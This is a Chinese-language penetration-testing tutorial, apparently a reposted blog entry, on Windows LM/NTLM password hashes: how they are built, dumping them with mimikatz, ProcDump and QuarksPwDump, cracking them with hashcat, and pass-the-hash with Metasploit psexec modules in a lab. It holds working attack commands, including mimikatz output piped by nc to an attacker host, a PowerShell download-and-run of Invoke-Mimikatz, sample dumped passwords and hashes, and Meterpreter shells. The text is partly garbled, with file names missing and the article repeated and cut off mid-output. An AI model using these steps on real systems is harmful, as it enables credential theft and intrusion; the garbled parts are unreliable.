2023年7月31日发(作者:)
Windows⽤户密码的加密⽅法与破解再研究Hastcat的时候涉及到了Windows的Hash破解,感觉这个地⽅还是有⼀些姿势点和细节的,特此写⽂章记录之。Hash简介Hash ⼀般翻译为“散列”,也可直接⾳译为“哈希”的。这个加密函数对⼀个任意长度的字符串数据进⾏⼀次加密函数运算,然后返回⼀个固定长度的字符串。Hash主要⽤于信息安全领域中加密算法,渗透测试中获取⽬标系统的明⽂或Hash往往是整个渗透测试过程中重要的⼀环。在Windows系统中本机⽤户的密码Hash是放在本地的SAM⽂件⾥⾯,域内⽤户的密码Hash是存在域控的⽂件⾥⾯。Windows Hash分类LMLM Hash简介LAN Manager(LM)哈希是Windows系统所⽤的第⼀种密码哈希算法,是⼀种较古⽼的Hash,在LAN Manager协议中使⽤,⾮常容易通过暴⼒破解获取明⽂凭据。它只有唯⼀⼀个版本且⼀直⽤到了NT LAN Manager(NTLM)哈希的出现,在Windows Vista/Windows7/Windows Server 2008以及后⾯的系统中,LM哈希算法是默认关闭的,LM算法是在DES基础上实现的,不区分字母⼤⼩写。LM Hash⽣成原理1. ⽤户的密码转换为⼤写,密码转换为16进制字符串,不⾜14字节将会⽤0来再后⾯补全。2. 密码的16进制字符串被分成两个7byte部分。每部分转换成⽐特流,并且长度位56bit,长度不⾜使⽤0在左边补齐长度3. 再分7bit为⼀组,每组末尾加0,再组成⼀组4. 上步骤得到的⼆组,分别作为key 为
KGS!@#$%进⾏DES加密。5. 将加密后的两组拼接在⼀起,得到最终LM HASH值。LM Hash缺点1. 密码长度最⼤只能为14个字符2. 密码不区分⼤⼩写3. 如果密码强度是⼩于7位,那么第⼆个分组加密后的结果肯定是aad3b435b51404ee4. Des密码强度不⾼NTLMNTLM Hash简介NT LAN Manager(NTLM)哈希是Windows系统认可的另⼀种算法,⽤于替代古⽼的LM-Hash,⼀般指Windows系统下SecurityAccount Manager(SAM)中保存的⽤户密码hash,在Windows Vista/Windows 7/Windows Server 2008以及后⾯的系统中,NTLM哈希算法是默认启⽤的。NTLM Hash⽣成原理1. 先将⽤户密码转换为⼗六进制格式。2. 将⼗六进制格式的密码进⾏Unicode编码。3. 使⽤MD4摘要算法对Unicode编码数据进⾏Hash计算Pythonpython2 -c 'import hashlib,binascii; print y(("md4", "P@ssw0rd".encode("utf-16le")).digest())'e19ccf75ee54e06b06a5907af13cef42Windows Hash抓取mimikatzMimikatz是⼀个开源的项⽬,⽤于Windows下读取已经登录过的⽤户Hash和明⽂密码,要顺利的读取密码必须具有Admin或者System权限,所以它也是内⽹渗透神器之⼀。本地交互式抓取运⾏,弹出mimikatz的窗⼝,输⼊如下命令:显⽰您是否具有适当的权限来继续:mimikatz # privilege::debug启动⽇志记录功能:mimikatz # log输出存储在此计算机上的所有明⽂密码:mimikatz # sekurlsa::logonpasswords此时会在当前shell运⾏的⽬录下⽣成,这⾥⾯记录了抓取密码的⼀些详细情况。本地⾮交互式抓取在⾼权限的CMD命令⾏下直接运⾏: "privilege::debug" "sekurlsa::logonpasswords" exit > 此时会在当前shell运⾏的⽬录下⽣成,这⾥⾯记录了抓取密码的⼀些详细情况。远程⾮交互式抓取实验环境设备详情macOSWindows 7 SP 1IP地址10.211.55.210.211.55.12担任⾓⾊攻击者被攻击者本次实验使⽤ncat来做消息反弹,不知道ncat命令的同学可以参考我的这篇⽂章:macOSmacOS本机提前做好监听:Bashncat -lvp 2333国光我本⼈更喜欢ncat命令多⼀点,具体看个⼈喜好。Windows这⾥为了⽅便我把上传到了的同⽬录下了:BashC:mimikatz_trunkx64> "privilege::debug" "sekurlsa::logonpasswords" exit | nc -v 10.211.55.2 2333DNS fwd/rev mismatch: GG != [10.211.55.2] 2333 (?) open效果这样操作完成后,即不在⽬标系统上留下任何⽂件,直接把抓取到的结果⽤nc发送到指定的远程机,此时macOS这边已经拿到返回的密码信息了:powershell加载mimikatz抓取⽬标机器可以连接外⽹的情况下:Powershellpowershell IEX (New-Object ent).DownloadString('/mattifestation/PowerSploit/master/Exfiltration/1'); Invoke-Mimikatz内⽹的情况下可将脚本下载下来,⾃⼰搭建⼀个本地的Web服务器,通过内⽹IP去访问:Powershellpowershell IEX (New-Object ent).DownloadString('10.211.55.2/1'); Invoke-Mimikatz各个系统版本的抓取样本Windows Server 2003 R2Authentication Id : 0 ; 420302 (00000000:000669ce)Session : Interactive from 0User Name : AdministratorDomain : GG6043Logon Server : GG6043Logon Time : 2019-11-18 20:51:21SID : S-1-5-21-3664143716-1376148344-336540569-500 msv :
[00000002] Primary * Username : Administrator * Domain : GG6043 * LM : 896108c0bbf35b5caad3b435b51404ee * NTLM : f6502cbe4802f94ab472288970c124cd * SHA1 : 669c9b60b44e10aaa8784563c9a5381c9300235a wdigest :
* Username : Administrator * Domain : GG6043 * Password : P@ss123 kerberos :
* Username : Administrator * Domain : GG6043 * Password : P@ss123 ssp :
credman :
主要有如下的关键信息:类型⽤户名明⽂LMNTLM值AdministratorP@ss123896108c0bbf35b5caad3b435b51404eef6502cbe4802f94ab472288970c124cdWindows Server 2008 R2Authentication Id : 0 ; 224455 (00000000:00036cc7)Session : Interactive from 2User Name : AdministratorDomain : GGF140Logon Server : GGF140Logon Time : 2019/11/18 23:32:08SID : S-1-5-21-3111474477-815054-500 msv : [00000003] Primary * Username : Administrator * Domain : GGF140 * LM : 921988ba001dc8e14a3b108f3fa6cb6d * NTLM : e19ccf75ee54e06b06a5907af13cef42 * SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63 tspkg : * Username : Administrator * Domain : GGF140 * Password : P@ssw0rd wdigest : * Username : Administrator * Domain : GGF140 * Password : P@ssw0rd kerberos : * Username : Administrator * Domain : GGF140 * Password : P@ssw0rd ssp : credman :Windows Server 2008 R2 默认的配置还是可以读取到LM类型的Hash的,与⽹上的理论不符合,说明WIndows Server 2008 R2 与Windows 7 依然没有完全禁⽤掉LM类型的HashWindows 7 SP1Authentication Id : 0 ; 2006207 (00000000:001e9cbf)Session : Interactive from 2User Name : AdministratorDomain : GG37BELogon Server : GG37BELogon Time : 2019/11/18 22:36:13SID : S-1-5-21-1996198258-1617865379-4184567355-500 msv :
[00000003] Primary * Username : Administrator * Domain : GG37BE * LM : 921988ba001dc8e14a3b108f3fa6cb6d * NTLM : e19ccf75ee54e06b06a5907af13cef42 * SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63 tspkg :
* Username : Administrator * Domain : GG37BE * Password : P@ssw0rd wdigest :
* Username : Administrator * Domain : GG37BE * Password : P@ssw0rd kerberos :
* Username : Administrator * Domain : GG37BE * Password : P@ssw0rd ssp :
credman :
主要有如下的关键信息:类型⽤户名明⽂LMNTLM值AdministratorP@ssw0rd921988ba001dc8e14a3b108f3fa6cb6de19ccf75ee54e06b06a5907af13cef42Windows 10 1903Authentication Id : 0 ; 86025756 (00000000:0520a61c)Session : Interactive from 9User Name : sqlsecDomain : MACBOOKPROLogon Server : MACBOOKPROLogon Time : 2019/11/18 20:06:24SID : S-1-5-21-2097287409-4065191294-224695044-1000 msv : [00000003] Primary * Username : sqlsec * Domain : MACBOOKPRO * NTLM : f00a25418f128daaef2bc89ed94416bd * SHA1 : 56d7741bca89552362fd24d11bb8980e3d8a444c tspkg : wdigest : * Username : sqlsec * Domain : MACBOOKPRO * Password : (null) kerberos : * Username : sqlsec * Domain : MACBOOKPRO * Password : (null) ssp : credman :主要有如下的关键信息:类型⽤户名明⽂NTLM值sqlsec空 这⾥没有读取到f00a25418f128daaef2bc89ed94416bdWindows 10⽆法使⽤mimikatz读取到明⽂密码,只能直接读取到加密后的NTLM值。ProcDump + mimikatz官⽹地址:ProcDump是⼀个命令⾏程序,可以很⽅便地将系统正在运⾏的进程转存储⽣成为dump⽂件⼜因为是微软⾃家出品,所以可以过很多杀软。dump 进程 -accepteula -ma 86 x64 分别执⾏对应的可执⾏⽂件 因为本次测试系统为 64位 故执⾏ 此时会在当前shell运⾏的⽬录下⽣成,这个是进程转存储的⽂件,⾥⾯记录了Hash信息。对于NT6及其以上的系统也可以使⽤Windows⾃带的功能进⾏dump:任务管理器点击显⽰所有⽤户的进程,然后找到
的进程,右键,选择创建转存储⽂件.读取dmp⽂件信息将上⾯转存储⽣成的⽂件放到的同⽬录下,执⾏下⾯⾮交互命令可以直接读取密码:Bash# 直接读取明⽂密码 "sekurlsa::minidump " "sekurlsa::tspkg" exit# 读取明⽂密码 + Hash值 信息更全 “sekurlsa::minidump ” “sekurlsa::logonPasswords” exitQuarksPwDumpQuarksPwDump是⼀个Win32环境下系统授权信息导出⼯具,⽀持Windows众多的OS版本:XP/2003/Vista/7/2008/8(Windows10 国光测试失败 并没有成功读取到Hash)⽬前作者只是开源了源代码,没有发布已经编译好的版本,所以⼤家使⽤的话得寄⼏⽤VS Studio编译⼀下。下⾯国光本⼈⾃⼰编译好的版本如下,有需要的朋友可以⾃⾏下载:⽂件名下载地址如果要⾃⾏加⼊免杀功能的话,⼤家⾃⾏去编译,这⾥国光⽤的是VS Studio 2010编译的,顺便附上下载地址:⽂件名VC++2010学习版和永久使⽤注册码.zip下载地址另外Githun还有其他⼤⽜已经编译好了更新的版本,我们也可以直接下载:这个新的 QuarksPwDumpv_0.3a版本中新增了-sf参数QuarksPwDump抓取密码的命令如下: -dhl -o 抓取Hash并在同⽬录下⽣成⽂件,抓取到具体的Hash如下:BashGuest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::提取Administrator⽤户的关键密码信息为:E19CCF75EE54E06B06A5907AF13CEF42,他实际上是P@ssw0rd的NTLM加密的值,可以⽤Hashcat来进⾏破解Windows Hash利⽤Hashcat破解拿到LM或者NTLM的密⽂时,如果没有明⽂的时候,最直接的⽅法当然是直接将其解密啦,这⾥使⽤Hashcat来进⾏密码解密,对Hashcat这个⼯具不了解的同学可以参考我写的这篇⽂章:假设我们读取到Hash如下:LM : 921988ba001dc8e14a3b108f3fa6cb6dNTLM : e19ccf75ee54e06b06a5907af13cef42实际上这个明⽂是:P@ssw0rd下⾯⽤Hashcat来简单演⽰⼀下破解,这⾥破解我使⽤了-a 0字典破解,hashcat –help可以看到LM和NTLM对应的hash编号分别为3000和10003000 | LM | Operating Systems1000 | NTLM | Operating Systems废话不多说,下⾯直接⾛个流程破解⼀下吧:Hashcat破解LM HashBashhashcat -a 0 -m 3000 --force '921988ba001dc8e14a3b108f3fa6cb6d' 因为LM Hash长度最长是14个字符,密码被分成2个长度为7的字符进⾏存放,所以这⾥Hashcat破解的时候也是分2半部分来分别进⾏破解的:4a3b108f3fa6cb6d:D921988ba001dc8e1:P@SSW0RSession…: hashcatStatus…: …: …: 921988ba001dc8e1, d…: Tue Nov 19 00:05:18 2019 (0 secs)ted…: Tue Nov 19 00:05:18 2019 (0 secs)…: File ()…: 1/1 (100.00%)Speed.#2…: 1291 H/s (0.16ms) @ Accel:32 Loops:1 Thr:64 Vec:1Speed.#3…: 0 H/s (0.00ms) @ Accel:1024 Loops:1 Thr:64 Vec:1Speed.#*…: 1291 H/sRecovered…: 2/2 (100.00%) Digests, 1/1 (100.00%) SaltsProgress…: 8/8 (100.00%)Rejected…: 0/8 (0.00%)…: 0/8 (0.00%).#2…: Salt:0 Amplifier:0-1 Iteration:.#3…: Salt:0 Amplifier:0-0 Iteration:0-1Candidates.#2…: ADMIN -> DCandidates.#3…: [Copying]可以看到先破解出了:D,然后破解出了P@SSW0 ⽐较蛋疼的是 LM Hash不区分⼤⼩写,所以我们还得凭感觉去猜出具体的密码。Hashcat破解NTLM HashBashhashcat -a 0 -m 1000 --force 'e19ccf75ee54e06b06a5907af13cef42' 破解成功,得到如下结果:e19ccf75ee54e06b06a5907af13cef42:P@ssw0rdSession…: hashcatStatus…: …: …: d…: Mon Nov 18 23:44:55 2019 (0 secs)ted…: Mon Nov 18 23:44:55 2019 (0 secs)…: File ()…: 1/1 (100.00%)Speed.#2…: 0 H/s (0.00ms) @ Accel:64 Loops:1 Thr:64 Vec:1Speed.#3…: 985 H/s (0.06ms) @ Accel:1024 Loops:1 Thr:64 Vec:1Speed.#*…: 985 H/sRecovered…: 1/1 (100.00%) Digests, 1/1 (100.00%) SaltsProgress…: 5/5 (100.00%)Rejected…: 0/5 (0.00%)…: 0/5 (0.00%).#2…: Salt:0 Amplifier:0-0 Iteration:.#3…: Salt:0 Amplifier:0-1 Iteration:0-1Candidates.#2…: [Copying]Candidates.#3…: admin -> P@ssw0rd在线Hash破解⼀个国外的⽼牌Hash破解⽹站,填⼊NTLM Hash值即可:国内的 也⽀持NTLM类型的Hash破解,直接粘贴进去系统会⾃动解密,也是⽐较⽅便的:还有其他很多的在线⽹站就不推荐了,这⾥就只列举这两个⽤的⽐较多的⽹站Hash传递简介PASS THE Hash也叫Hash传递攻击,简称PTH。模拟⽤户登录不需要⽤户明⽂密码只需要就可以直接⽤获取到的Hash来登录⽬标系统。利⽤成功的前提条件是:开启445端⼝ SMB服务开启admin$共享这⾥⽬标Windows Server 2008 R2(10.211.55.4)通过mimikatz抓取到的Administrator⽤户的Hash为:* LM : 921988ba001dc8e14a3b108f3fa6cb6d* NTLM : e19ccf75ee54e06b06a5907af13cef42通过QuarksDump抓取到的Administrator⽤户的Hash为:Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::经过国光测试,在下⾯Hash传递的时候,只要后⾯的NTLM Hash是正确的,前⾯填写什么都是可以顺利登陆成功的,经过测试,如下Hash可以成功:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42921988ba001dc8e14a3b108f3fa6cb6d:E19CCF75EE54E06B06A5907AF13CEF4200000000:E19CCF75EE54E06B06A5907AF13CEF4266666666666666666666666666666666:E19CCF75EE54E06B06A5907AF13CEF42也就是说:E19CCF75EE54E06B06A5907AF13CEF42部分起到关键的认证作⽤,前⾯的只要位数正确,填写啥都没有问题。下⾯是具体的演⽰。MetasploitMetasploit下⾯有3个psexec模块都可以进⾏Hash传递利⽤,他们分别是:Bash# 执⾏单个命令的PTH模块auxiliary/admin/smb/psexec_command# 执⾏直接就获取到meterpreter的PTH模块exploit/windows/smb/psexec# ⽀持对⼀个⽹段进⾏PTH进⾏验证的模块exploit/windows/smb/psexec_pshauxiliary/admin/smb/psexec_commandBashmsf5 > use auxiliary/admin/smb/psexec_commandmsf5 auxiliary(admin/smb/psexec_command) > set rhosts 10.211.55.14rhosts => 10.211.55.14msf5 auxiliary(admin/smb/psexec_command) > set smbuser administratorsmbuser => administratormsf5 auxiliary(admin/smb/psexec_command) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42msf5 auxiliary(admin/smb/psexec_command) > set command "whoami"command => whoamimsf5 auxiliary(admin/smb/psexec_command) > run[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable….[] 10.211.55.14:445 - checking if the file is unlocked[] 10.211.55.14:445 - Getting the command output….[] 10.211.55.14:445 - Executing cleanup….[+] 10.211.55.14:445 - Cleanup was successful[+] 10.211.55.14:445 - Command completed successfully![] 10.211.55.14:445 - Output for “whoami”:nt authoritysystem[] 10.211.55.14:445 - Scanned 1 of 1 hosts (100% complete)[] Auxiliary module execution completed⽐较鸡肋的是,这个模块不⽀持⽹段格式批量验证,所以实战中可以考虑下⾯两个模块exploit/windows/smb/psexec⽀持⽹段格式的IP,⽅便批量验证PTH,下⾯是单个验证过程:Bashmsf5 > use exploit/windows/smb/psexecmsf5 exploit(windows/smb/psexec) > set rhosts 10.211.55.14rhosts => 10.211.55.14msf5 exploit(windows/smb/psexec) > set smbuser administratorsmbuser => administratormsf5 exploit(windows/smb/psexec) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42msf5 exploit(windows/smb/psexec) > set lhost 10.211.55.4lhost => 10.211.55.4msf5 exploit(windows/smb/psexec) > run[] Started reverse TCP handler on 10.211.55.4:4444[] 10.211.55.14:445 - Connecting to the server….[] 10.211.55.14:445 - Authenticating to 10.211.55.14:445 as user ‘administrator’….[] 10.211.55.14:445 - Selecting PowerShell target[] 10.211.55.14:445 - Executing the payload….[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable….[] Sending stage (179779 bytes) to 10.211.55.14[*] Meterpreter session 2 opened (10.211.55.4:4444 -> 10.211.55.14:49168) at 2019-11-24 23:42:38 +0800meterpreter >下⾯⽹段批量验证效果,在内⽹当做这样验证还是⽐较实⽤⾼效的:关于前⾯32位的Hash不起作⽤的疑问,去T00ls论坛提问了,下⾯是师傅们的解答:iceword:前⾯是lm hash,lm hash已经被弃⽤了,不⽤来验证,所以添啥都⾏Hello_C:NTLM Hash = LM Hash + NT Hash,LM Hash是aad3b435b51404eeaad3b435b51404ee时,可能密码为空或者没有存储lm hash,2008默认不存储lm hash。pth ⽤nt hash,有些⼯具可能需要lm hash:nt hash格式,没有lm hash可以使⽤任意32个字符填充。安全客:如果空密码或者不储蓄LM Hash的话,我们抓到的LM Hash是AAD3B435B51404EEAAD3B435B51404EE。所以在win7 中我们看到抓到LM Hash都是AAD3B435B51404EEAAD3B435B51404EE,这⾥的LM Hash并没有价值。exploit/windows/smb/psexec_pshBashmsf5 > use exploit/windows/smb/psexec_pshmsf5 exploit(windows/smb/psexec_psh) > set rhosts 10.211.55.14rhosts => 10.211.55.14msf5 exploit(windows/smb/psexec_psh) > set smbuser administratorsmbuser => administratormsf5 exploit(windows/smb/psexec_psh) > set smbpass AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42smbpass => AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42msf5 exploit(windows/smb/psexec_psh) > set lhost 10.211.55.4lhost => 10.211.55.4msf5 exploit(windows/smb/psexec_psh) > run[] Started reverse TCP handler on 10.211.55.4:4444[] 10.211.55.14:445 - Executing the payload….[+] 10.211.55.14:445 - Service start timed out, OK if running a command or non-service executable….[] Sending stage (179779 bytes) to 10.211.55.14[] Meterpreter session 3 opened (10.211.55.4:4444 -> 10.211.55.14:49169) at 2019-11-24 23:44:12 +0800meterpreter >这个模块也⽀持⽹段批量验证,这⾥就不再赘述了。参考资料
2023年7月31日发(作者:)
Windows⽤户密码的加密⽅法与破解再研究Hastcat的时候涉及到了Windows的Hash破解,感觉这个地⽅还是有⼀些姿势点和细节的,特此写⽂章记录之。Hash简介Hash ⼀般翻译为“散列”,也可直接⾳译为“哈希”的。这个加密函数对⼀个任意长度的字符串数据进⾏⼀次加密函数运算,然后返回⼀个固定长度的字符串。Hash主要⽤于信息安全领域中加密算法,渗透测试中获取⽬标系统的明⽂或Hash往往是整个渗透测试过程中重要的⼀环。在Windows系统中本机⽤户的密码Hash是放在本地的SAM⽂件⾥⾯,域内⽤户的密码Hash是存在域控的⽂件⾥⾯。Windows Hash分类LMLM Hash简介LAN Manager(LM)哈希是Windows系统所⽤的第⼀种密码哈希算法,是⼀种较古⽼的Hash,在LAN Manager协议中使⽤,⾮常容易通过暴⼒破解获取明⽂凭据。它只有唯⼀⼀个版本且⼀直⽤到了NT LAN Manager(NTLM)哈希的出现,在Windows Vista/Windows7/Windows Server 2008以及后⾯的系统中,LM哈希算法是默认关闭的,LM算法是在DES基础上实现的,不区分字母⼤⼩写。LM Hash⽣成原理1. ⽤户的密码转换为⼤写,密码转换为16进制字符串,不⾜14字节将会⽤0来再后⾯补全。2. 密码的16进制字符串被分成两个7byte部分。每部分转换成⽐特流,并且长度位56bit,长度不⾜使⽤0在左边补齐长度3. 再分7bit为⼀组,每组末尾加0,再组成⼀组4. 上步骤得到的⼆组,分别作为key 为
KGS!@#$%进⾏DES加密。5. 将加密后的两组拼接在⼀起,得到最终LM HASH值。LM Hash缺点1. 密码长度最⼤只能为14个字符2. 密码不区分⼤⼩写3. 如果密码强度是⼩于7位,那么第⼆个分组加密后的结果肯定是aad3b435b51404ee4. Des密码强度不⾼NTLMNTLM Hash简介NT LAN Manager(NTLM)哈希是Windows系统认可的另⼀种算法,⽤于替代古⽼的LM-Hash,⼀般指Windows系统下SecurityAccount Manager(SAM)中保存的⽤户密码hash,在Windows Vista/Windows 7/Windows Server 2008以及后⾯的系统中,NTLM哈希算法是默认启⽤的。NTLM Hash⽣成原理1. 先将⽤户密码转换为⼗六进制格式。2. 将⼗六进制格式的密码进⾏Unicode编码。3. 使⽤MD4摘要算法对Unicode编码数据进⾏Hash计算Pythonpython2 -c 'import hashlib,binascii; print y(("md4", "P@ssw0rd".encode("utf-16le")).digest())'e19ccf75ee54e06b06a5907af13cef42Windows Hash抓取mimikatzMimikatz是⼀个开源的项⽬,⽤于Windows下读取已经登录过的⽤户Hash和明⽂密码,要顺利的读取密码必须具有Admin或者System权限,所以它也是内⽹渗透神器之⼀。本地交互式抓取运⾏,弹出mimikatz的窗⼝,输⼊如下命令:显⽰您是否具有适当的权限来继续:mimikatz # privilege::debug启动⽇志记录功能:mimikatz # log输出存储在此计算机上的所有明⽂密码:mimikatz # sekurlsa::logonpasswords此时会在当前shell运⾏的⽬录下⽣成,这⾥⾯记录了抓取密码的⼀些详细情况。本地⾮交互式抓取在⾼权限的CMD命令⾏下直接运⾏: "privilege::debug" "sekurlsa::logonpasswords" exit > 此时会在当前shell运⾏的⽬录下⽣成,这⾥⾯记录了抓取密码的⼀些详细情况。远程⾮交互式抓取实验环境设备详情macOSWindows 7 SP 1IP地址10.211.55.210.211.55.12担任⾓⾊攻击者被攻击者本次实验使⽤ncat来做消息反弹,不知道ncat命令的同学可以参考我的这篇⽂章:macOSmacOS本机提前做好监听:Bashncat -lvp 2333国光我本⼈更喜欢ncat命令多⼀点,具体看个⼈喜好。Windows这⾥为了⽅便我把上传到了的同⽬录下了:BashC:mimikatz_trunkx64> "privilege::debug" "sekurlsa::logonpasswords" exit | nc -v 10.211.55.2 2333DNS fwd/rev mismatch: GG != [10.211.55.2] 2333 (?) open效果这样操作完成后,即不在⽬标系统上留下任何⽂件,直接把抓取到的结果⽤nc发送到指定的远程机,此时macOS这边已经拿到返回的密码信息了:powershell加载mimikatz抓取⽬标机器可以连接外⽹的情况下:Powershellpowershell IEX (New-Object ent).DownloadString('/mattifestation/PowerSploit/master/Exfiltration/1'); Invoke-Mimikatz内⽹的情况下可将脚本下载下来,⾃⼰搭建⼀个本地的Web服务器,通过内⽹IP去访问:Powershellpowershell IEX (New-Object ent).DownloadString('10.211.55.2/1'); Invoke-Mimikatz各个系统版本的抓取样本Windows Server 2003 R2Authentication Id : 0 ; 420302 (00000000:000669ce)Session : Interactive from 0User Name : AdministratorDomain : GG6043Logon Server : GG6043Logon Time : 2019-11-18 20:51:21SID : S-1-5-21-3664143716-1376148344-336540569-500 msv :
[00000002] Primary * Username : Administrator * Domain : GG6043 * LM : 896108c0bbf35b5caad3b435b51404ee * NTLM : f6502cbe4802f94ab472288970c124cd * SHA1 : 669c9b60b44e10aaa8784563c9a5381c9300235a wdigest :
* Username : Administrator * Domain : GG6043 * Password : P@ss123 kerberos :
* Username : Administrator * Domain : GG6043 * Password : P@ss123 ssp :
credman :
主要有如下的关键信息:类型⽤户名明⽂LMNTLM值AdministratorP@ss123896108c0bbf35b5caad3b435b51404eef6502cbe4802f94ab472288970c124cdWindows Server 2008 R2Authentication Id : 0 ; 224455 (00000000:00036cc7)Session : Interactive from 2User Name : AdministratorDomain : GGF140Logon Server : GGF140Logon Time : 2019/11/18 23:32:08SID : S-1-5-21-3111474477-815054-500 msv : [00000003] Primary * Username : Administrator * Domain : GGF140 * LM : 921988ba001dc8e14a3b108f3fa6cb6d * NTLM : e19ccf75ee54e06b06a5907af13cef42 * SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63 tspkg : * Username : Administrator * Domain : GGF140 * Password : P@ssw0rd wdigest : * Username : Administrator * Domain : GGF140 * Password : P@ssw0rd kerberos : * Username : Administrator * Domain : GGF140 * Password : P@ssw0rd ssp : credman :Windows Server 2008 R2 默认的配置还是可以读取到LM类型的Hash的,与⽹上的理论不符合,说明WIndows Server 2008 R2 与Windows 7 依然没有完全禁⽤掉LM类型的HashWindows 7 SP1Authentication Id : 0 ; 2006207 (00000000:001e9cbf)Session : Interactive from 2User Name : AdministratorDomain : GG37BELogon Server : GG37BELogon Time : 2019/11/18 22:36:13SID : S-1-5-21-1996198258-1617865379-4184567355-500 msv :
[00000003] Primary * Username : Administrator * Domain : GG37BE * LM : 921988ba001dc8e14a3b108f3fa6cb6d * NTLM : e19ccf75ee54e06b06a5907af13cef42 * SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63 tspkg :
* Username : Administrator * Domain : GG37BE * Password : P@ssw0rd wdigest :
* Username : Administrator * Domain : GG37BE * Password : P@ssw0rd kerberos :
* Username : Administrator * Domain : GG37BE * Password : P@ssw0rd ssp :
credman :
主要有如下的关键信息:类型⽤户名明⽂LMNTLM值AdministratorP@ssw0rd921988ba001dc8e14a3b108f3fa6cb6de19ccf75ee54e06b06a5907af13cef42Windows 10 1903Authentication Id : 0 ; 86025756 (00000000:0520a61c)Session : Interactive from 9User Name : sqlsecDomain : MACBOOKPROLogon Server : MACBOOKPROLogon Time : 2019/11/18 20:06:24SID : S-1-5-21-2097287409-4065191294-224695044-1000 msv : [00000003] Primary * Username : sqlsec * Domain : MACBOOKPRO * NTLM : f00a25418f128daaef2bc89ed94416bd * SHA1 : 56d7741bca89552362fd24d11bb8980e3d8a444c tspkg : wdigest : * Username : sqlsec * Domain : MACBOOKPRO * Password : (null) kerberos : * Username : sqlsec * Domain : MACBOOKPRO * Password : (null) ssp : credman :主要有如下的关键信息:类型⽤户名明⽂NTLM值sqlsec空 这⾥没有读取到f00a25418f128daaef2bc89ed94416bdWindows 10⽆法使⽤mimikatz读取到明⽂密码,只能直接读取到加密后的NTLM值。ProcDump + mimikatz官⽹地址:ProcDump是⼀个命令⾏程序,可以很⽅便地将系统正在运⾏的进程转存储⽣成为dump⽂件⼜因为是微软⾃家出品,所以可以过很多杀软。dump 进程 -accepteula -ma 86 x64 分别执⾏对应的可执⾏⽂件 因为本次测试系统为 64位 故执⾏ 此时会在当前shell运⾏的⽬录下⽣成,这个是进程转存储的⽂件,⾥⾯记录了Hash信息。对于NT6及其以上的系统也可以使⽤Windows⾃带的功能进⾏dump:任务管理器点击显⽰所有⽤户的进程,然后找到
的进程,右键,选择创建转存储⽂件.读取dmp⽂件信息将上⾯转存储⽣成的⽂件放到的同⽬录下,执⾏下⾯⾮交互命令可以直接读取密码:Bash# 直接读取明⽂密码 "sekurlsa::minidump " "sekurlsa::tspkg" exit# 读取明⽂密码 + Hash值 信息更全 “sekurlsa::minidump ” “sekurlsa::logonPasswords” exitQuarksPwDumpQuarksPwDump是⼀个Win32环境下系统授权信息导出⼯具,⽀持Windows众多的OS版本:XP/2003/Vista/7/2008/8(Windows10 国光测试失败 并没有成功读取到Hash)⽬前作者只是开源了源代码,没有发布已经编译好的版本,所以⼤家使⽤的话得寄⼏⽤VS Studio编译⼀下。下⾯国光本⼈⾃⼰编译好的版本如下,有需要的朋友可以⾃⾏下载:⽂件名下载地址如果要⾃⾏加⼊免杀功能的话,⼤家⾃⾏去编译,这⾥国光⽤的是VS Studio 2010编译的,顺便附上下载地址:⽂件名VC++2010学习版和永久使⽤注册码.zip下载地址另外Githun还有其他⼤⽜已经编译好了更新的版本,我们也可以直接下载:这个新的 QuarksPwDumpv_0.3a版本中新增了-sf参数QuarksPwDump抓取密码的命令如下: -dhl -o 抓取Hash并在同⽬录下⽣成⽂件,抓取到具体的Hash如下:BashGuest:501:AAD3B435B51404EEAAD3B435B51404EE:31D6CFE0D16AE931B73C59D7E0C089C0:::Administrator:500:AAD3B435B51404EEAAD3B435B51404EE:E19CCF75EE54E06B06A5907AF13CEF42:::提取Administrator⽤户的关键密码信息为:E19CCF75EE54E06B06A5907AF13CEF42,他实际上是P@ssw0rd的NTLM加密的值,可以⽤Hashcat来进⾏破解Windows Hash利⽤Hashcat破解拿到LM或者NTLM的密⽂时,如果没有明⽂的时候,最直接的⽅法当然是直接将其解密啦,这⾥使⽤Hashcat来进⾏密码解密,对Hashcat这个⼯具不了解的同学可以参考我写的这篇⽂章:假设我们读取到Hash如下:LM : 921988ba001dc8e14a3b108f3fa6cb6dNTLM : e19ccf75ee54e06b06a5907af13cef42实际上这个明⽂是:P@ssw0rd下⾯⽤Hashcat来简单演⽰⼀下破解,这⾥破解我使⽤了-a 0字典破解,hashcat –help可以看到LM和NTLM对应的hash编号分别为3000和10003000 | LM | Operating Systems1000 | NTLM | Operating Systems废话不多说,下⾯直接⾛个流程破解⼀下吧:Hashcat破解LM HashBashhashcat -a 0 -m 3000 --force '921988ba001dc8e14a3b108f3fa6cb6d' 因为LM Hash长度最长是14个字符,密码被分成2个长度为7的字符进⾏存放,所以这⾥Hashcat破解的时候也是分2半部分来分别进⾏破解的:4a3b108f3fa6cb6d:D921988ba001dc8e1:P@SSW0RSession…: hashcatStatus…: …: …: 921988ba001dc8e1, d…: Tue Nov 19 00:05:18 2019 (0 secs)ted…: Tue Nov 19 00:05:18 2019 (0 secs)…: File ()…: 1/1 (100.00%)Speed.#2…: 1291 H/s (0.16ms) @ Accel:32 Loops:1 Thr:64 Vec:1Speed.#3…: 0 H/s (0.00ms) @ Accel:1024 Loops:1 Thr:64 Vec:1Speed.#*…: 1291 H/sRecovered…: 2/2 (100.00%) Digests, 